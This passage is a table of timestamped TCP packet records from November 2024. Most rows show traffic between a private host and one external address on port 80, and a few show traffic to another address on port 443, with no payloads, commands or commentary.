Nov 23, 2024 15:37:27.282459021 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.282546043 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.286644936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.286695957 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.286730051 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.340295076 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.373091936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.373157978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.373215914 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.374938011 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.375017881 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.375077963 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.378848076 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.378981113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.379139900 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.382122040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.382169962 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.382236004 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.385631084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.385726929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.385780096 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.389086962 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.389189959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.389241934 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.392460108 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.392571926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.392635107 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.395840883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.395898104 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.395952940 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.399218082 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.399276972 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.399359941 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.402307987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.402417898 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.402470112 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.405427933 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.405546904 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.405606031 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.408624887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.408693075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.408740044 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.411710024 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.411730051 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.411798954 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.414606094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.414774895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.414834976 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.417551041 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.417673111 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.417731047 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.420455933 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.420598984 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.420651913 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.423480034 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.423546076 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.423597097 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.426315069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.426392078 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.426445007 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.429740906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.429831028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.429893017 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.432255030 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.432323933 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.432377100 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.435164928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.435257912 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.435318947 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.438076019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.438189030 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.438251972 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.441008091 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.441109896 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.441167116 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.443954945 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.444089890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.444149017 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.446883917 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.447006941 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.447067022 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.449954987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.450062037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.450117111 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.452766895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.452898026 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.452951908 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.455698013 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.455840111 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.455899000 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.458669901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.458884954 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.458945036 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.461572886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.461637020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.461693048 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.464500904 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.464679956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.465255022 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.467427969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.467577934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.467652082 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.470412970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.470550060 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.470736980 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.473289967 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.473401070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.473465919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.476224899 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.476346016 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.477257967 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.479176044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.479343891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.479401112 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.482104063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.482208967 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.482275963 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.485060930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.485150099 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.485217094 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.487987995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.488080978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.488147974 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.491022110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.491102934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.491163969 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.493834019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.493968010 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.494045019 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.496872902 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.496994019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.497251034 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.499700069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.499802113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.501275063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.502687931 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.502743006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.502810001 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.505686045 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.505749941 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.505821943 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.508739948 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.508758068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.508848906 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.511424065 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.559062004 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.565083027 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.565114975 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.565186024 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.566194057 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.566586971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.566646099 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.566669941 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.568873882 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.568938017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.568991899 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.570557117 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.570729971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.570784092 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.572825909 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.572971106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.573020935 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.575048923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.575097084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.575154066 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.577209949 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.577334881 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.577395916 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.579371929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.579426050 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.579462051 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.581635952 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.581751108 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.581804991 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.583590031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.583686113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.583736897 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.585653067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.585778952 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.585830927 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.587780952 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.587831020 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.587833881 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.589737892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.589843035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.589896917 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.591945887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.592040062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.592088938 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.593750000 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.593940020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.593987942 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.595750093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.595798016 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.595886946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.597731113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.597830057 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.597882032 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.599689960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.599812031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.599863052 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.601682901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.601746082 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.601795912 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.603579044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.603631973 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.603668928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.605504036 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.605587006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.605639935 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.607395887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.607450962 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.607461929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.609303951 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.609452963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.609502077 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.611196995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.611212969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.611264944 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.612997055 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.613045931 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.613090038 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.614818096 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.614902973 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.614953995 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.616636992 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.616668940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.616719007 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.618463993 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.618568897 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.618619919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.620362043 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.620410919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.620446920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.622252941 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.622379065 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.622426987 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.623944044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.624015093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.624066114 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.625540018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.625597954 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.625648022 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.627293110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.627342939 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.627480984 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.629070997 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.629120111 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.629153013 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.630141020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.630227089 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.630275965 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.631222963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.631340027 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.631388903 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.632311106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.632356882 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.632426977 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.633527994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.633543968 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.633596897 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.634476900 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.634602070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.634649038 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.635627985 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.635675907 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.635710001 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.636683941 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.636734009 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.636742115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.637934923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.638031006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.638081074 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.638809919 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.638916016 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.638963938 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.640014887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.640060902 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.640104055 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.640966892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.641017914 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.641063929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.642081976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.642170906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.642220974 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.643168926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.643196106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.643243074 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.644226074 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.644272089 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.644351959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.645319939 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.645415068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.645464897 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.646447897 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.646533012 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.646583080 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.647497892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.647548914 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.647550106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.648565054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.648613930 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.648657084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.699807882 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.729700089 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.730588913 CET	49725	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.730632067 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.731126070 CET	49725	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:27.731137037 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:27.757366896 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.757457018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.757642984 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.757853985 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.757956028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.758014917 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.758927107 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.759367943 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.759428024 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.759445906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.760437965 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.760490894 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.760664940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.761456966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.761472940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.761509895 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.762494087 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.762547970 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.762595892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.763628960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.763681889 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.763684988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.764795065 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.764849901 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.764892101 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.765574932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.765628099 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.765641928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.766536951 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:27.766612053 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:27.766642094 CET	80	49724	185.215.113.16	192.168.2.5
